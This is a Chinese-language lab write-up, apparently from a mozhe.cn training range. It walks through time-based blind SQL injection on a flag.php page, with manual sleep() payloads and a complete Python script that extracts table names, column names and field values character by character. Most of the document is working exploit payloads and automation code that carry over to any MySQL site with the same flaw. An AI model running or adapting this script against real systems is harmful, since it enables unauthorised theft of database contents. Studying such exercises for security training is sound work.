靶场地址：
https://www.mozhe.cn/bug/detail/ZEZ4REhOck9KMnVKMjFLTitQWFg5dz09bW96aGUmozhe

构造时间注入
http://219.153.49.228:43401/flag.php?type=1 and if(1=1,sleep(10),1)%23
服务器延迟了10秒才返回页面，证明有时间注入

暴表长
if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1,sleep(5),1)%23

暴表名
if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),23,1))=114,sleep(5),1)%23

暴列长
and if(length((select group_concat(column_name) from information_schema.columns where table_name="flag"))=7,sleep(5),1)%23

暴列名
and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),7,1))=103,sleep(5),1)%23

暴字段值的长
and if(length((select group_concat(flag) from flag ))=6,sleep(5),1)%23

当条件满足时，sql就会执行sleep(5)休眠5秒，根据页面返回的时间，我们可以判断条件是否为True，这样我们就能逐字猜解

但是一个个手工猜解是费时费力的方法，可以编写脚本或者使用sqlmap帮助我们，这里我自己写了一个python脚本

import urllib3
import requests
import datetime

http = urllib3.PoolManager()
requests.packages.urllib3.disable_warnings()
payloads = 'abcdecfghijklmnopqrstuvwxyz1234567890_@!,.;(){}~`'

'''
#数据库长度
length = 1
while True:
    url = 'http://219.153.49.228:43401/flag.php?type=1 and if(length(database())='+str(length)+',sleep(5),1)%23'
    start = datetime.datetime.now()
    r = http.request('GET', url)
    if r.status == 200:
        end = datetime.datetime.now()
    if (end-start).seconds >= 5:
        print("数据库长度：", length)
        break
    else:
        length += 1

#暴库名
num = 1
temp = []
database=''
while num <= length:
    for payload in payloads:
        url = "http://219.153.49.228:43401/flag.php?type=1 and if(substr(database(),%d,1)='%s',sleep(5),1)%%23" %(num, payload)
        start = datetime.datetime.now()
        r = http.request('GET', url)
        if r.status == 200:
            end = datetime.datetime.now()
        if (end - start).seconds >= 5:
            temp.append(payload)
            num += 1
            if num>length:
                database = ''.join(temp)
                print('数据库名：', database)
            break
'''


#表长度
length = 1
while True:
    url = 'http://219.153.49.228:43401/flag.php?type=1 and if(length((select group_concat(table_name) from information_schema.tables ' \
          'where table_schema=database()))='+str(length)+',sleep(5),1)%23'
    start = datetime.datetime.now()
    r = http.request('GET', url)
    if r.status == 200:
        end = datetime.datetime.now()
    if (end-start).seconds >= 5:
        print("表长度：", length)
        break
    else:
        length += 1

#暴表名
num = 1
temp = []
tablename=''
now_ascii = 33
while num <= length:
    now_ascii = 33
    flag = True
    while flag:
        url = "http://219.153.49.228:43401/flag.php?type=1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables " \
              "where table_schema=database()),%d,1))=%d,sleep(5),1)%%23" %(num, now_ascii)
        start = datetime.datetime.now()
        r = http.request('GET', url)
        if r.status == 200:
            end = datetime.datetime.now()
        if (end - start).seconds >= 5:
            temp.append(chr(now_ascii))
            num += 1
            flag = False
            if num>length:
                tablename = ''.join(temp)
                print('表名：', tablename)
        now_ascii+=1



#列长度
length = 1
while True:
    url = 'http://219.153.49.228:43401/flag.php?type=1 and if(length((select group_concat(column_name) from information_schema.columns ' \
          'where table_name="flag"))='+str(length)+',sleep(5),1)%23'
    start = datetime.datetime.now()
    r = http.request('GET', url)
    if r.status == 200:
        end = datetime.datetime.now()
    if (end-start).seconds >= 5:
        print("列长度：", length)
        break
    else:
        length += 1

#暴列名
num = 1
temp = []
columns_name=''
now_ascii = 33
while num <= length:
    now_ascii = 33
    flag = True
    while flag:
        url = "http://219.153.49.228:43401/flag.php?type=1 and if(ascii(substr((select group_concat(column_name) from information_schema.columns " \
              "where table_name='flag'),%d,1))=%d,sleep(5),1)%%23" %(num, now_ascii)
        start = datetime.datetime.now()
        r = http.request('GET', url)
        if r.status == 200:
            end = datetime.datetime.now()
        if (end - start).seconds >= 5:
            temp.append(chr(now_ascii))
            num += 1
            flag = False
            if num>length:
                columns_name = ''.join(temp)
                print('列名：', columns_name)
        now_ascii+=1


#字段长度
length = 1
while True:
    url = 'http://219.153.49.228:43401/flag.php?type=1 and if(length((select group_concat(flag) from flag ' \
          '))='+str(length)+',sleep(5),1)%23'
    start = datetime.datetime.now()
    r = http.request('GET', url)
    if r.status == 200:
        end = datetime.datetime.now()
    if (end-start).seconds >= 5:
        print("字段值长度：", length)
        break
    else:
        length += 1

#暴字段值
num = 1
temp = []
columns_value=''
now_ascii = 33
while num <= length:
    now_ascii = 33
    flag = True
    while flag:
        url = "http://219.153.49.228:43401/flag.php?type=1 and if(ascii(substr((select group_concat(flag) from flag" \
              "),%d,1))=%d,sleep(5),1)%%23" %(num, now_ascii)
        start = datetime.datetime.now()
        r = http.request('GET', url)
        if r.status == 200:
            end = datetime.datetime.now()
        if (end - start).seconds >= 5:
            temp.append(chr(now_ascii))
            num += 1
            flag = False
            if num>length:
                columns_value = ''.join(temp)
                print('字段值：', columns_value)
        now_ascii+=1

这个是跑出来的结果